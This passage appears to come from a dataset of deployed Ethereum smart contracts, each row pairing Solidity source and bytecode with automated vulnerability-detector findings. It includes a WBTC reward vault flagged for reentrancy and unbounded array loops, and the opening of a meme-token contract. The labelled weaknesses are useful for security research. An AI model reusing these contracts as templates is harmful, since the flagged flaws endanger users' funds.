a7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050509392505050565b600080600060149054906101000a900460ff1660ff1614151561125e57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112b757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611382576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f45524332303a206275726e2066726f6d20746865207a65726f2061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611397826005546120c790919063ffffffff16565b6005819055506113ef82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114fc57600080fd5b6001600060146101000a81548160ff021916908360ff1602179055507f962a6139ca22015759d0878e2cf5d770dcb8152e1d5ba08e46a969dd9b154a9c60405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a157600080fd5b60008060146101000a81548160ff021916908360ff1602179055507ff0daac2271a735ea786b9adf80dfcbd6a3cbd52f3cab0a78337114692d5faf5d60405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116ee5780601f106116c3576101008083540402835291602001916116ee565b820191906000526020600020905b8154815290600101906020018083116116d157829003601f168201915b505050505081565b600080600060149054906101000a900460ff1660ff1614151561171857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561177157600080fd5b6117c382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c790919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120e390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196557600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f687691c08a3e67a160ba20a32cb1c56791955f12c5ff5d5fcf62bc456ad79ea160405160405180910390a250565b600080600060149054906101000a900460ff1660ff16141515611a2557600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a7e57600080fd5b82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c59578082015181840152602081019050611c3e565b50505050905090810190601f168015611c865780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611ca857600080fd5b505af1158015611cbc573d6000803e3d6000fd5b50505050600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2657600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f169aadf55dc2098830ccf9f334e3ce3933b6e895b9114fc9f49242f2be61fe8e60405160405180910390a250565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e2057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ee457600080fd5b505af1158015611ef8573d6000803e3d6000fd5b505050506040513d6020811015611f0e57600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200957600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008282111515156120d857600080fd5b818303905092915050565b600081830190508281101515156120f957600080fd5b92915050565b60008183029050600083148061211f575081838281151561211c57fe5b04145b151561212a57600080fd5b92915050565b6000808211151561214057600080fd5b818381151561214b57fe5b0490509291505056fea165627a7a723058208ac89a856143bb28d8134f24a5c6bbd8ac50dedb0c9967b828bb0ad749fa8d390029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 135 |
0xce98e8ae42678595c929d18e0855335635c699b1 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pWBTCVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x58528E68e953278A2469428b55Fe6Ee361186d1a; // Vault6 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc907358528e68e953278a2469428b55fe6ee361186d1a906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820933a2db2fa58bf8c08f8bec65ae3a61d2ed07534d02cf0d092c9f69892bc9e1764736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 136 |
0xdb2163a06907b22ee3cd1eb3d32ce8df81aa986c | /**
https://t.me/NBAInu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NBAInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"NBA Inu";
string private constant _symbol = unicode"NBA Inu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _ronaFee = 0;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousronaFee = _ronaFee;
uint256 private _BuyFee = _ronaFee;
uint256 private _SellFee = _ronaFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _ronaFee == 0) return;
_previousTaxFee = _taxFee;
_previousronaFee = _ronaFee;
_taxFee = 0;
_ronaFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_ronaFee = _previousronaFee;
}
